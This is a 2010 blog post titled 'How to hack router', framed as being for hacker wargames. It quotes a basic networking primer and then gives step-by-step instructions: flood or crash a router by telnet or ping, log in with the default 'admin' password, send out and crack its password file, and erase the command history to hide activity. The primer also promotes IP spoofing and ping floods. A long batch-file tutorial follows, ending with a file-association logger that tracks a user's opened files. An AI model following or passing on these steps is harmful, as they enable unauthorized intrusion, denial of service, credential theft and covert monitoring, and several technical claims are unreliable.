Monday, May 10, 2010

How to hack router

The following is for educational purposes only. I the author will not be held responsible for any misuse of this information.


I am posting this as a guide for those who have to enumerate routers in "hacker wargames" and not for malicious purposes.


Before you start I believe you know the following:

1. IP (internet protocol )address

2. ISP (INternet Service Provider)

3. TCP/IP packet

4. IP Spoofing

5. Telnet

6. HyperTerminal

7. Pinging

8. TraceRoute (tracert command)

9. Proxy Server


Now if you don't know this, here is an excerpt from a manual written by Cyvamp. Please google it to find out more. The following is just brushing through the basics, But you need to know more....

-------------------------------------------------------------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------------------------------------------------------------

Written by Cyvamp
(with a few notes added by Raven)
July 2000

http://blacksun.box.sk
---------------------------------------------------
What is an IP address?

IP stands for Internet Protocol, IP addresses are used by other computers to identify computers that connect to
them. This is how you can be banned from IRC, and how they can find your ISP. IP addresses are easily obtained, they
can be retrieved through the following methods:

-you go to a website, your IP is logged

-on IRC, anyone can get your IP

-on ICQ, people can get your IP, even if you have the option set "do not show ip"
they can still get it

-if you are connected to someone, they can type "systat", and see who is connected to them

-if someone sends you an email with IP-logging java, they can also get your IP address

There are many more ways of obtaining IP addresses, including using back-door programs such as Sub7 or NetBus.

------------------------------------

What is an ISP?

ISP stands for Internet Service Provider, they are the ones that give you the internet. You connect to one everytime
you dial-up and make a connection. People can find your ISP simply by running a traceroute on you (traceroute is
later explained). It will look something like this:

tracert 222.222.22.22

Tracing route to [221.223.24.54]
over a maximum of 30 hops.
1 147ms 122ms 132ms your.isp [222.222.22.21]
2 122ms 143ms 123ms isp.firewall [222.222.22.20]
3 156ms 142MS 122ms aol.com [207.22.44.33]
4 * * * Request timed out
5 101ms 102ms 133ms cisco.router [194.33.44.33]
6 233ms 143ms 102ms something.ip [111.11.11.11]
7 222ms 123ms 213ms netcom.com [122.11.21.21]
8 152ms 211ms 212ms blahblah.tts.net [121.21.21.33]
9 122ms 223ms 243ms altavista.34.com [121.22.32.43] <<< target's isp 10 101ms 122ms 132ms 221.223.24.54.altavista.34.com [221.223.24.54] Trace complete. -----------------------------------

What is a TCP/IP packet?

TCP/IP stands for Transmission Control Protocol and Internet Protocol, a TCP/IP packet is a block of data which is compressed, then a header is put on it and it is sent to another computer. This is how ALL internet transfers occur, by sending packets. The header in a packet contains the IP address of the one who originally sent the packet. You can re-write a packet and make it seem like it came from anyone!! You can use this to gain access to lots of systems and you will not get caught. You will need to be running Linux or have a program which will let you do this. This tutorial does not tell you to use this, but it does come in handy when hacking any system. If something goes wrong when you try to hack a system, you can always try this... ------------------------------------
How to spoof your IP:

Find a program like Genius 2 or DC IS, which will let you run IdentD. This will let you change part of your computer's identity at will! Use this when you get banned from some IRC chat room.... you can get right back in! You can also use it when you are accessing another system, so it logs the wrong id...
------------------------------------
How to use telnet:

You can open telnet simply by going to your Start Menu, then to Run, and typing in "telnet". Once you have opened telnet, you may want to change some features. Click on Terminal>Preferences. Here you can
change the buffer size, font, and other things. You can also turn on/off "local echo", if you turn local echo on,
your computer will show you everything you type, and the other computer you are connected to will show you aswell.
So you may get something like this;

You type "hello", and you get
hhelelollo

This is because the information has bounced back and got scrambled with what you typed. The only reason I would use
this is if the machine does NOT return what you are typing.

By default, telnet will connect to a system on the telnet port, which is port 23. Now you will not always want to
connect to port 23, so when you go to connect, you can change the port to maybe 25, which is the port for mail
servers. Or maybe port 21, for FTP. There are thousands of ports, so make sure you pick the right one!

----------------------------------

How to use HyperTerminal:

HyperTerminal allows you to open a "server" on any port of your computer to listen for incoming information from
specified computers. To use this, go to
Start>Programs>Accessories>Communications>HyperTerminal. First you will need to select the connection, pick "TCP/IP
Winsock", and then put in the computer to communicate with, and the port #. You can tell it to listen for input by
going to Call>Wait for Call. Now the other computer can connect to you on that port, and you can chat and transfer
files.

----------------------------------

How to use Ping:

Ping is easy, just open the MS-DOS prompt, and type "ping ip.address", by default it will ping 3 times, but you can
type

"ping ip.address -t"

Which will make it ping forever. To change the ping size do this:

"ping -l (size) ip.address"

What ping does is send a packet of data to a computer, then sees how long it takes to be returned, which determines
the computer's connection speed, and the time that it takes for a packet to go back and forth (this is called the
"trip time"). Ping can also be used to slow down or even crash a system if the system is overloaded by ping floods.
Windows 98 crashes after one minute of pingflooding (it's connections buffer is overflown - too many connections are
registered, and so Windows decides to take a little vacation).
A ping flood attack takes a lot of bandwidth from you, and you must have more bandwidth than your target (unless
the target is a Windows 98 box and you have an average modem, that way you'll knock it down after approximately a
single minute of ping flooding). Ping flooding isn't effective against stronger targets, unless you have quite a few
evil lines to yourself, and you have control over a few bandwidth-saavy hosts that can ping flood your target as
well.
Note: DOS's -t option doesn't do a ping flood, it just pings the target continously, with intervals from one ping to
another. In every Unix or Linux distribution, you can use ping -f to do a real pingflood. Actually ping -f is
required if you want your distribution to be POSIX-compliant (POSIX - Portable Operating System Interface based on
uniX), otherwise it's not a real Unix/Linux distribution, so if you have an OS that calls itself either Unix or
Linux, it has the -f switch.

----------------------------------

How to use TraceRoute:

To trace your connection (and see all the computer's between you and a target), just open the MS-DOS prompt, and
type "tracert ip.address" and you will see a list of computers, which are between you and the target computer.

You can use this to determine if there are firewalls blocking anything. And will also allow you to determine
someone's ISP (internet service provider).

To determine the ISP, simple look at the IP address before the last one, this should be one of the ISP's routers.

Basically, this is how traceroute works - a TCP/IP packet has a value in it's header (it's in the IP header. If you
don't know what this means, then ignore it and continue reading, it's not that crucial) called TTL, which stands
for Time To Live. Whenever a packet hops (travels through a router) it's TTL value is decreased by one. This is just
a countermeasure against the possibility that something would go wrong and a packet would ricochet all around the
net, thus wasting bandwidth.
So when a packet's TTL reaches zero, it dies and an ICMP error is sent back to the sender.
Now, traceroute first sends a packet with a TTL value of 1. The packet quickly returns, and by looking at the
sender's address in the ICMP error's header, the traceroute knows where the packet has been in it's first hop. Then
it sends a packet with a TTL value of 2, and it returns after the second hop, revealing it's identity. This goes on
until the packet reaches it's destination.

Now isn't that fun? :-)

----------------------------------

How to use a proxy server:

Do a search on the web for a proxy server which runs on the port of your choice. Once you find one, connect to it
with either telnet or hyperterminal and then connect to another computer through the proxy server. This way the
computer at the other end will not know your IP address.
======================================================================================================
-------------------------------------------------------------------------------------------------------------------------------------------------

Keeping in mind all that you know lets start .......... BEGIN !!!!


STEPS
1. Fist step is to set up your proxy server.


2. Next step is to find a router to hack. This is very simple and will be given in the rules of the wargame or can be done via traceroute.

3. Then connect to the router on port 23.

4. If it asks you for a password only .... Then you are at the router. But if it asks you both password and username, Then you are at the firewall. Try to find a router without a firewall as bypassing/hacking firewalls is not a basis of this manual.

5. Then at the password field type in a HUGE password. Something as such will do:

112281988923744ghgcdbdhgcdbgwbwdfqwertyuioplokmjhgfdsazsxcvbnm,kiuytr3456789iu7yhgbvghf

6. The router will reboot, in which case you can't hack it because it is offline. But it'll probablu freeze up for which you have around 2 minutes. So do quick.

Alternative
the following command will do the same:
ping -l 56550 router.ip -t

7. While it is frozen, open up another connection to it from some other proxy, and put the password as "admin", the reason for this is because by default, this is the router's password, and while it is temporarily disabled, it will revert to it's default state.


8. Now that you have gained acess to the router, You must aquire the password file. It is the file that contains the password (non- default) of the router in encrypted form. Different routers run different softwares , but most of them will have "htl-textil" prompt or something like that. Or you can even enter "?" (without the quotes) for a list of commands. Somewhere in there you will find a transfer command. Use that to get the password file of admin (which is
the current user) and send it to your own IP address on port 23. But before you do that you have to set up "hyper terminal" to wait for a call from the router. When you send the file, Hyper terminal will ask you if you want to recieve the file. Click on YES.

9. Now you will have downloaded the password file. All you have to do is crack the password file so that you can have unlimited access to the router. To do this you can run a software like John the Ripper or any thing else and crack the password.

10. And thats it. Now you will have unlimited access to the router. Use a proxy just for safety. Now you can connect to the router using the password and telnet. Now you have a to delete the history before you start using the router, So that no one will see what you are doing online on the router. To do this type in "terminal history size 0". Now what you do will be hidden. Enter"?" to see a list of commands you can use.

Batch programing (tutorial)

Batch file programming is nothing but the Windows version of Unix Shell Programming. Batch File Programming works mostly on MS-DOS commands . So let's start by understanding what happens when we give a DOS command.

DOS is basically a file called command.com. It can be opened by typing command.com in Run (You Can Also Type In cmd ). It is this file (command.com or cmd) which handles all DOS commands that you give at the DOS prompt,such as COPY, DIR, DEL etc. These commands are built in with the command.com file and are called internal commands. DOS has something called external commands too such as FORMAT, UNDELETE, BACKUP etc.


So whenever we give a DOS command either internal or external, command.com either straightaway executes the command (Internal Commands) or calls an external separate program which executes the command for it and returns the result (External Commands.)


Why Do We Need Batch File Programs?

Say you need to execute a set of commands over and over again (Not Loop ) to perform a routine task like Backing up Important Files, Deleting temporary files(*.tmp, .bak , ~.* etc). Then it is very difficult to type the same set of commands over and over again to perform a bulk set of the same commands over and over again, Batch files are used. Batch Files are to DOS what Macros are to Microsoft Office and are used to perform an automated predefined set of tasks over and over again.

How To Create Batch Files?

Batch files are basically plain text files containing DOS commands. So the best editor to write your commands in would be Notepad or the DOS Editor. All you need to remember is that a batch file should have the extension .BAT(dot bat). Executing a batch file is quite simple
too. For example if you create a Batch file and save it with the filename batch.bat then all you need to execute the batch file is to type:
---------------------------------------------------------------
C:\windows>batch.bat
---------------------------------------------------------------
PS: The Batch File Is In The Windows Folder

So what happens when you give a Batch file to the command.com to execute?

Whenever command.com comes across a batch file program, it goes into batch mode. In the batch mode, it reads the commands from the batch file line by line. So basically what happens is, command.com opens the batch file and reads the first line, then it closes the batch file. It then executes the command and again reopens the batch file and reads the next line from it. Batch files are treated as Internal DOS commands.

While creating a batch file, one thing that you need to keep in mind is that the filename of the batch file should not use the same name as a DOS command. For example, if you create a batch file by the name dir.bat and then try to execute it at the prompt, nothing will happen.

This is because when command.com comes across a command, it first checks to see if it is an internal command. If it is not then command.com checks if it a .COM, .EXE or .BAT file with a matching filename.

All external DOS commands use either a .COM or a .EXE extension, DOS never bothers to check if the batch program exits.



Now let's move on to your first Batch file program. We will first take up a simple batch file which executes or launches a .EXE program. Simply type the following in a blank text file and save it with a .BAT extension.

---------------------------------------------------------------
C:

cd windows

telnet

---------------------------------------------------------------

Now let's analyze the code, the first line tells command.com to go to the C:

Next it tells it to change the current directory to Windows. The last line tells it to launch the telnet client. You may contradict saying that the full filename is telnet.exe. Yes you are right, but the .exe extension is automatically added by command.com. Normally we do not need to change the drive and the directory as the Windows directory is the default DOS folder. So instead the bath file could simply contain the below and would still work.

---------------------------------------------------------------

telnet

--------------------------------------------------------------

Now let's execute this batch file and see what results it shows. Launch command.com (DOS) and execute the batch file by typing:

--------------------------------------------------------------

C:\WINDOWS>batch_file_name

---------------------------------------------------------------

NOTE: This will work only if the batch file is saved in the Windows folder. if the batch file is saved else where use DOS commands like cd etc to navigate to that directory and then you enter the batch files name،

The result of the above Batch file is that it opens up the telnet client.
Likewise
---------------------------------------------------------------
C:\WINDOWS>scandisk
---------------------------------------------------------------
Scandisk is launched.

So now the you know the basic functioning of Batch files. So lets move on to something more challenging .... Batch file commands.

.......................................................................................

The REM Command

The most simple basic Batch file command is the REM or the Remark command. It is used extensively by programmers to insert comments into their code to make it more readable and understandable. This command ignores anything there is on that line. Anything on the line after REM is not even displayed on the screen during execution. It is normally not used in small easy to understand batch programs but is very useful in huge snippets of code with geek stuff loaded into it. So if we add Remarks to out first batch file, it will become:

---------------------------------------------------------------

REM This batch file is my first batch program which launches the fav hacking tool; Telnet

telnet
---------------------------------------------------------------


The only thing to keep in mind while using Remarks is to not go overboard and putting in too many of them into a single program as they tend to slow down the execution time of the batch commands.



ECHO: The Batch Printing Tool

The ECHO command is used for what the Print command is in other programming languages: To Display something on the screen. It can be used to tell the user what the bath file is currently doing. It is true that Batch programs display all commands it is executing but sometimes they are not enough and it is better to also insert ECHO commands which give a better description of what is presently being done. Say for example the following batch program which is full of the ECHO command deletes all files in the c:\windows\temp directory:

---------------------------------------------------------------

ECHO This Batch File deletes all unwanted Temporary files from your system

ECHO Now we go to the Windows\temp directory.

cd windows\temp

ECHO Deleting unwanted temporary files....

del *.tmp

ECHO Your System is Now Clean

---------------------------------------------------------------

Now let's see what happens when we execute the above snippet of batch code.

=====================================

C:\WINDOWS>batch_file_name

C:\WINDOWS>ECHO This Batch File deletes all unwanted Temporary files from your system

This Batch File deletes all unwanted Temporary files from your system

C:\WINDOWS>ECHO Now we go to the Windows\temp directory.

Now we go to the Windows\temp directory.

C:\WINDOWS>cd windows\temp

Invalid directory

C:\WINDOWS>ECHO Deleting unwanted temporary files

Deleting unwanted temporary files...

C:\WINDOWS>del *.tmp

C:\WINDOWS>ECHO Your System is Now Clean

Your System is Now Clean

=====================================

The above is a big mess! The problem is that DOS is displaying the executed command and also the statement within the ECHO command. To prevent DOS from displaying the command being executed, simply precede the batch file with the following command at the beginning of the file:

ECHO OFF

Once we add the above line to our Temporary files deleting Batch program , the output becomes:

=====================================

C:\WINDOWS>ECHO OFF

This Batch File deletes all unwanted Temporary files from your system

Now we go to the Windows\temp directory.

Invalid directory

Deleting unwanted temporary files...

File not found

Your System is Now Clean

=====================================

Hey pretty good! But it still shows the initial ECHO OFF command. You can prevent a particular command from being shown but still be executed by preceding the command with a @ sign. So to hide even the ECHO OFF command, simple replace the first line of the batch file with @ECHO OFF


You might think that to display a blank line in the output screen you can simply type ECHO by itself, but that doesn't work. The ECHO command return whether the ECHO is ON or OFF. Say you have started your batch file with the command ECHO OFF and then in the later line give the command ECHO, then it will display ' ECHO is off ' on the screen. You can display a blank line by giving the command

ECHO. (ECHO followed by a dot)

Simply leaving a blank line in the code too displays a blank line in the output.

You can turn ON the ECHO anytime by simply giving the command ECHO ON. After turning the echo on , if you give the command ECHO then it will return ' ECHO is on '



The PAUSE Command: Freezing Time

Say you create a batch file which shows the Directory Listing of a particular folder(DIR) before performing some other task. Or sometimes before deleting all files of a folder, you need to give the user time to react and change his mind. PAUSE, the name says it all, it is used to time out actions of a script.

Consider the following scenario:

---------------------------------------------------------------

REM This Batch program deletes *.doc files in the current folder.

REM But it gives the user to react and abort this process.

@ECHO OFF

ECHO WARNING: Going to delete all Microsoft Word Document

ECHO Press CTRL+C to abort or simply press a key to continue.

PAUSE

DEL *.doc

---------------------------------------------------------------

Now when you execute this batch program, we get the following output:

=====================================

C:\WINDOWS>a.bat

WARNING: Going to delete all Microsoft Word Document

Press CTRL+C to abort or simply press a key to continue.

Press any key to continue . . .

=====================================

The batch file program actually asks the user if he wishes to continue and gives the user the option to abort the process. Pressing CTRL+C cancels the batch file program(CTRL+C and CTRL
Break bring about the same results)
=====================================
^C


Terminate batch job (Y/N)?y

=====================================

After this you will get the DOS prompt back.



Parameters: Giving Information to Batch Programs


To make batch programs really intelligent you need to be able to provide them with parameters which are nothing but additional valuable information which is needed to ensure that the bath program can work efficiently and flexibly.

To understand how parameters work, look at the following script:

---------------------------------------------------------------

@ECHO OFF

ECHO First Parameter is %1

ECHO Second Parameter is %2

ECHO Third Parameter is %3

--------------------------------------------------------------

The script seems to be echoing (printing) messages on the screen, but what do the strange symbols %1 , % 2 etc stand for?

To find out what the strange symbols stand for save the above script and go to DOS and execute this script by passing the below parameters:

C:\windows>batch_file_name abc def ghi


This batch file produces the following result:

=====================================

C:\windows>batch_file_name abc def ghi

First Parameter is abc

Second Parameter is def

Third Parameter is ghi

=====================================

The first line in the output is produced by the code line:


ECHO First Parameter is %1


Basically what happens is that when DOS encounters the %1 symbol, it examines the original command used to execute the batch program and look for the first word (argument) after the batch filename and then assigns %1 the value of that word. So one can say that in the ECHO statement %1 is replaced with the value of the first argument. In the above example the first word after the batch file name is abc, therefore %1 is assigned the value of this word.

The %2 symbol too works in the similar way, the only difference being that instead of the first argument, DOS assigns it the value of the second argument, def. Now all these symbols, %1, %2 are called replaceable parameters. Actually what happens is that %1 is not assigned the value of the first argument, but
in fact it is replaced by the value of the first argument.

If the batch file command has more parameters than what the batch file is looking for, then the extras are ignored. For example, if while executing a batch file program , we pass four arguments, but the batch file program requires only 3 parameters, then the fourth parameter is ignored.

To understand the practical usage of parameters, let's take up a real life example. Now the following script requires the user to enter the name of the files to be deleted and the folder in which they are located.

---------------------------------------------------------------

@ECHO OFF

CD\

CD %1

DEL %2

---------------------------------------------------------------

This script can be called from the DOS prompt in the following way obviously replacing with a gap.


C:\windows>batch_file_name windows\temp *.tmp


In a single script we cannot use more that nine replaceable parameters. This means that a particular batch file will have replaceable parameters from %1 to %9.Infact there is a tenth replaceable parameter, the %0 parameter. The %0 parameter contains the name of the batch file itself.



SHIFT: Infinite Parameters


Sometimes your batch file program may need to use more than nine parameters at a time.(Actually you would never need to, but at least you are sure you can handle it if you need to.)To see how the SHIFT command works, look at the following snippet of code:

---------------------------------------------------------------

@ECHO OFF

ECHO The first Parameter is %1

ECHO.

SHIFT

ECHO The Second Parameter is %1

ECHO.

SHIFT

ECHO The Second Parameter is %1

---------------------------------------------------------------

Now execute this batch file from DOS and see what happens.

=====================================

C:\windows>batch_file_name abc def ghi


The first Parameter is abc



The Second Parameter is def



The Second Parameter is ghi
=====================================


How does it work? Well, each SHIFT command shuffles the parameters down one position. This means that after the first SHIFT %1 becomes def, %2 becomes ghi and abc is completely removed by DOS. All parameters change and move one position down.

Both normal parameters (%1 , % 2 etc) and the SHIFT command can be made more efficient by grouping them with the IF conditional statement to check the parameters passed by the User.

Now Lets move on to something a lot more interestingand tricky. From now on concentrate. You can read the following again and again for better understanding.

THE FOR LOOP

The syntax of the FOR LOOP is:

---------------------------------------------------------------

FOR %%PARAMETER IN(set) DO command

---------------------------------------------------------------

Most people change their mind about learning Batch Programming when they come across the syntax of the For Command. I do agree that it does seem a bit weird, but it is not as difficult as it appears to be. Let's analyze the various parts of the For command. Before we do that look at the following example,

---------------------------------------------------------------

@ECHO OFF

FOR %%A IN (abc, def, xyz) DO ECHO %%A

---------------------------------------------------------------

Basically a FOR LOOP declares a variable (%%A) and assigns it different values as it goes through the predefined set of values(abc, def, xyz) and each time the variable is assigned a new value, the FOR loop performs a command.(ECHO %%A)


The %%A is the variable which is assigned different values as the loop goes through the predefined set of values in the brackets. You can use any single letter character after the two % sign except 0 to 9.We use two %'s as DOS deletes each occurrence of a single % sign in a batch file program.


The IN(abc, def, xyz) is the list through which the FOR loop goes. The variable %%a is assigned the various values within the brackets, as the loop moves. The items in the set(The technical term for the set of values within the brackets) can be separated with commas, colons or simply spaces.



For each item in the set(The IN Thing) the FOR loop performs whatever command is given after the DO keyword.(In this example the loop will ECHO %%A)


So basically when we execute the above batch file, the output will be:

=====================================

abc

def

xyz

=====================================

The FOR loop becomes very powerful if used along with replaceable parameters. Take the following batch file, for example,

---------------------------------------------------------------
@ECHO OFF

ECHO.

ECHO I am going to delete the following files:

ECHO %1 %2

ECHO.

ECHO Press Ctrl+C to Abort process

PAUSE

FOR %%a IN (%1 %2 ) DO DEL %%a

ECHO Killed Files. Mission Accomplished.

---------------------------------------------------------------

At execution time, the process would be something like:

=====================================

C:\WINDOWS>batchfilename *.tmp *.bak


I am going to delete the following files:

*.tmp *.bak


Press Ctrl+C to Abort process

Press any key to continue . . .



Killed Files. Mission Accomplished.

=====================================


IF: CONDITIONAL BRANCHING


The If statement is a very useful command which allows us to make the batch files more intelligent and useful. Using this command one can make the batch programs check the parameters and accordingly perform a task. Not only can the IF command check parameters, it can also checks if a particular file exists or not. On top of all this, it can also be used for the conventional checking of variables (strings).


Checking If a File Exists Or Not


The general syntax of the IF command which checks for the existence of a file is the following:

---------------------------------------------------------------

IF [NOT] EXIST FILENAME Command

---------------------------------------------------------------

This will become clearer when we take up the following example,

---------------------------------------------------------------

IF EXIST c:\autoexec.bat ECHO It exists

---------------------------------------------------------------

This command checks to see if the file, c:\autoexec.bat exists or not. If it does then it echoes or prints the string 'It exists'. On the other hand if the specified file does not exist, then it does not do anything.


In the above example, if the file autoexec.bat did not exist, then nothing was executed. We can also put in the else clause i.e. If the File exists, do this but if it does not exists, by using the GOTO command. Let's consider the following example to make it more clear:

---------------------------------------------------------------

@echo off

IF EXIST C:\ankit.doc GOTO ANKIT

Goto end

:ANKIT

ECHO ANKIT

:end

---------------------------------------------------------------

The IF statement in this code snippet checks to see if there exists a file, c:\ankit.doc. If it does then DOS is branched to :ANKIT and if it does not, then DOS goes on to the next line. The next line branches DOS to :end. The :end and :ANKIT in the above example are called labels. After the branching the respective echo statements take over.

We can also check for more than one file at a time, in the following way:

IF EXIST c:\autoexec.bat IF EXIST c:\autoexec.bak ECHO Both Exist


We can check to see if a file does not exist in the same way, the basic syntax now becomes:


IF NOT EXIST FILENAME Command


For Example,

IF NOT EXIST c:\ankit.doc ECHO It doesn't Exist

How Do You Check For The Existence Of Directories?

No, something like
IF C:\windows EXISTS ECHO Yes
does not work. In this case we need to make use of the NULL device. The NULL device is basically nothing, it actually stands for simply nothing. Each directory has the NULL device present in it. (At least DOS thinks so.) So to check if c:\windows exits, simply type:

IF EXIST c:\windows\nul ECHO c:\Windows exists.

One can also check if a drive is valid, by giving something like:

IF EXIST c:\io.sys ECHO Drive c: is valid.


Comparing Strings to Validate Parameters

The basic syntax is:

---------------------------------------------------------------

IF [NOT] string1==string2 Command

---------------------------------------------------------------

Now let's make our scripts intelligent and make them perform a task according to what parameter was passed by the User. Take the following snippet of code for example,

---------------------------------------------------------------

@ECHO off

IF %1==cp GOTO COPY

GOTO DEL

:COPY

Copy %2 a:

GOTO :END

:DEL

Del %2

:END

exit

---------------------------------------------------------------


This example too is pretty much self explanatory. The IF Statement compares the first parameter to cp, and if it matches then DOS is sent to read the COPY label else to the DEL label. This example makes use of two parameters and is called by passing at least two parameters.

We can edit the above example to make DOS check if a parameter was passed or not and if not then display an error message. Just add the following lines to the beginning of the above file.

---------------------------------------------------------------
@ECHO OFF

IF "%1" == "" ECHO Error Message Here

---------------------------------------------------------------

If no parameter is passed then the batch file displays an error message. Similarly we can also check for the existence of the second parameter.

This command too has the NOT clause.


The CHOICE Command


Before we learn how to make use of the CHOICE command, we need to know what error levels really are. Now Error levels are generated by programs to inform about the way they finished or were forced to finish their execution. For example, when we end a program by pressing CTRL+C to end a program, the error level code evaluates to 3 and if the program closes normally, then the error level evaluates to 0. These numbers all by themselves are not useful but when used with the IF ERROR LEVEL and the CHIOCE command, they become very kewl.

The CHOICE command takes a letter or key from the keyboard and returns the error level evaluated when the key is pressed. The general syntax of the CHOICE command is:

---------------------------------------------------------------
CHOICE[string][/C:keys][/S][/N][/T:key,secs]
---------------------------------------------------------------

The string part is nothing but the string to be displayed when the CHOICE command is run.

The /C:keys defines the possible keys to be pressed. If options are mentioned then the default Y/N keys are used instead.

For example, The command,
---------------------------------------------------------------
CHOICE /C:A1T0
---------------------------------------------------------------

Defines A, 1, T and O as the possible keys. During execution if the user presses a undefined key, he will hear a beep sound and the program will continue as coded.

The /S flag makes the possible keys defined by the CHOICE /c flag case sensitive. So it means that if the /S flag is present then A and a would be different.

The /N flag, if present shows the possible keys in brackets when the program is executed. If the /N flag is missing then, the possible keys are not shown in brackets. Only the value contained by STRING is shown.

/T:key,secs defines the key which is taken as the default after a certain amount of time has passed.

For Example,

---------------------------------------------------------------
CHOICE Choose Browser /C:NI /T:I.5
---------------------------------------------------------------

The above command displays Choose Browser[N,I] and if no key is pressed for the next 5 seconds, then it chooses I.

Now to truly combine the CHOICE command with the IF ERROR LEVEL command, you need to know what the CHOICE command returns.

The CHOICE command is designed to return an error level according to the pressed key and its position in the /C flag. To understand this better, consider the following example,

---------------------------------------------------------------
CHOICE /C:AN12
---------------------------------------------------------------

Now remember that the error level code value depends on the key pressed. This means that if the key A is pressed, then the error level is 1, if the key N is pressed then the error level is 2, if 1 is pressed then error level is 3 and if 2 is pressed then error level is 4.

Now let us see how the IF ERROR LEVEL command works. The general syntax of this command is:

---------------------------------------------------------------
IF [NOT] ERRORLEVEL number command.
---------------------------------------------------------------

This statement evaluates the current error level number. If the condition is true then the command is executed. For Example,

---------------------------------------------------------------
IF ERRORLEVEL 3 ECHO Yes
---------------------------------------------------------------

The above statement prints Yes on the screen if the current error level is 3.

The important thing to note in this statement is that the evaluation of an error level is true when the error level us equal or higher than the number compared.

For Example, in the following statement,
---------------------------------------------------------------
IF ERRORLEVEL 2 ECHO YES
---------------------------------------------------------------

The condition is true if the error level is > or = 2.

Now that you know how to use the CHOICE and ERROR LEVEL IF command together, you can now easily create menu based programs. The following is an example of such a batch file which asks the User what browser to launch.

---------------------------------------------------------------

@ECHO OFF

ECHO.

ECHO.

ECHO Welcome to Browser Selection Program

ECHO.

ECHO 1. Internet Explorer 5.5

ECHO 2. Mozilla 5

ECHO x. Exit Browser Selection Program

ECHO.

CHOICE "Choose Browser" /C:12x /N

IF ERRORLEVEL 3 GOTO END

IF ERRORLEVEL 2 START C:\progra~1\Netscape

IF ERRORLEVEL 1 start c:\progra~1\intern~1\iexplore.exe

:END
---------------------------------------------------------------

NOTE: Observe the order in which we give the IF statements.

Now i guess you now be well versed with the if, for and choice command. Now for something a little boring yet important.

Redirection

Normally the Output is sent to the screen(The standard STDOUT)and the Input is read from the Keyboard(The standard STDIN). This can be pretty boring. You can actually redirect both the Input and the Output to something other than the standard I/O devices.

To send the Output to somewhere other than the screen we use the Output Redirection Operator, > which is most commonly used to capture results of a command in a text file. Say you want to read the help on how to use the net command, typing the usual Help command is not useful as the results do not fit in one screen and scroll by extremely quickly. So instead we use the Output Redirection operator to capture the results of the command in a text file.
---------------------------------------------------------------
c:\windows>net > xyz.txt
---------------------------------------------------------------

This command will execute the net command and will store the results in the text file, xyz.txt . Whenever DOS comes by such a command, it checks if the specified file exists or not. If it does, then everything in the file is erased or lost and the results are stored in it. If no such file exists, then DOS creates a new file and stores the results in this new file.

Say, you want to store the results of more than one command in the same text file, and want to ensure that the results of no command are lost, then you make use of the Double Output Re Direction Symbol, which is the >> symbol.

For Example,
---------------------------------------------------------------
c:\windows> net >> xyz.txt
---------------------------------------------------------------

The above command tells DOS to execute the net command and append the output to the xyz.txt file, if it exists.

DOS not only allows redirection to Files, but also allows redirection to various devices.

DEVICE NAME USED DEVICE

AUX Auxiliary Device (COM1)

CLOCK$ Real Time Clock

COMn Serial Port(COM1, COM2, COM3, COM4)

CON Console(Keyboard, Screen)

LPTn Parallel Port(LPT1, LPT2, LPT3)

NUL NUL Device(means Nothing)

PRN Printer



Say for example, you want to print the results of directory listings, then you can simply give the following

command:

c:\windows>dir *.* > prn

The NUL device(nothing) is a bit difficult to understand and requires special mention. This device which is also known as the 'bit bucket' literally means nothing. Redirection to the NUL device practically has no usage
but can be used to suppress the messages which DOS displays on the completion of a task.
For example,

When DOS has successfully copied a particular file, then it displays the message: '1 file(s) copied.'Now say you want to suppress this task completion message, then you can make use of the NUL device.

---------------------------------------------------------------
c:\windows>copy file.txt > NUL
---------------------------------------------------------------

This will suppress the task completion message and not display it.


Redirecting Input

Just like we can redirect Output, we can also redirect Input. It is handled by the Input Redirection Operator,
which is the < symbol. It is most commonly used to send the contents of a text file to DOS. The other common usage of this feature is the MORE command which displays a file one screen at a time unlike the TYPE command which on execution displays the entire file.(This becomes impossible to read as the file scrolls by at incredible speed.)Thus, many people send the long text file to the MORE command by using the command:

---------------------------------------------------------------
c:\windows>more < xyz.txt
---------------------------------------------------------------

This command sends the contents of the xyz.txt file to the MORE command which displays the contents page by page. Once the first page is read the MORE command displays something like the following on the screen:

......MORE......

You can also send key strokes to any DOS command which waits for User Input or needs User intervention to perform a task. You can also send multiple keystrokes. For example, a typical Format command requires 4 inputs, firstly pressing Enter to give the command, then Disk Insertion prompt, then the VOLUME label prompt and lastly the one to format another disk. So basically there are three User inputs-:

ENTER, ENTER N and ENTER.(ENTER is Carriage return)So you can include this in a Batch file and give the format command in the following format:
---------------------------------------------------------------
c:\windows>format a: < xyz.bat
---------------------------------------------------------------

PIPING

Piping is a feature which combines both Input and Output Redirection. It uses the Pipe operator, which is the | symbol. This command captures the Output of one command and sends it as the Input of the other
command. Say for example, when you give the command del *.* then you need to confirm that you mean to delete all files by pressing y. Instead we can simply do the same without any User Interaction by giving the command (Imagine what one can do with this ;P ) Ah! Yes the Disclaimer the following code is for educational purposes only. I the author will not be held responsible for any misuse of this information or code.

---------------------------------------------------------------
c:\windows> echo y | del *.*
---------------------------------------------------------------

This command is pretty self explanatory, y is sent to the command del *.*

Batch File Programming can be very easy and quite useful. The only thing that one needs to be able to become a Batch File Programming nerd, is adequate knowledge of DOS commands. I suggest you surf the net or get a book on DOS commands and really lick the pages off the book, only then can you become an expert in Batch File Programming and use it to its fullest potential.

THE FOLLOWING IS FOR EXTRA KNOWLEDGE

Making your own Syslog Daemon

We can easily combine the power of batch file programs and the customizable Windows Interface to make our own small but efficient System Logging Daemon.

Basically this Syslog Daemon can keep a track of the files opened (any kind of files), the time at which the files were opened also actually post the log of the User's activities on to the web, so that the System Administrator can keep a eye on things.

Simply follow the following steps to make the daemon-:


NOTE: In the following example, I am making a syslog daemon which keeps an eye on what text files were opened by the User. You can easily change what files you want it to keep an eye on by simply following the same steps.


1. ASSOCIATING THE FILES TO BE MONITORED TO THE LOGGER

Actually this step is not the first, but being the easiest, I have mentioned it earlier. The first thing to do is to associate the text files(*.txt) files to our batch file which contains the code to log the User's activities. You can of course keep an eye on other files as well, the procedure is almost similar. Anyway, we associate .txt files
to our batch program so that each time a .txt file is opened, the batch file is also executed. To do this, we need to change the File Associations of .txt files.
For more information on Changing File Associations, refer to the Windows Help Files, simply type Associations and search. Anyway to change the associations of .txt files and to point them to our batch file, simply do the below:

Locate any .txt file on your system, select it(click once) and Press the SHIFT key. Keeping the SHIFT key
pressed, right click on the .txt file to bring up the OPEN WITH... option. Clicking on the OPEN WITH... option will bring up OPEN WITH dialog box. Now click on the OTHER button and locate the batch file program which contains the logging code and click on OPEN and OK.

Now each time a .txt file is opened, the batch file is also executed, hence logging all interactions of the User with .txt files.

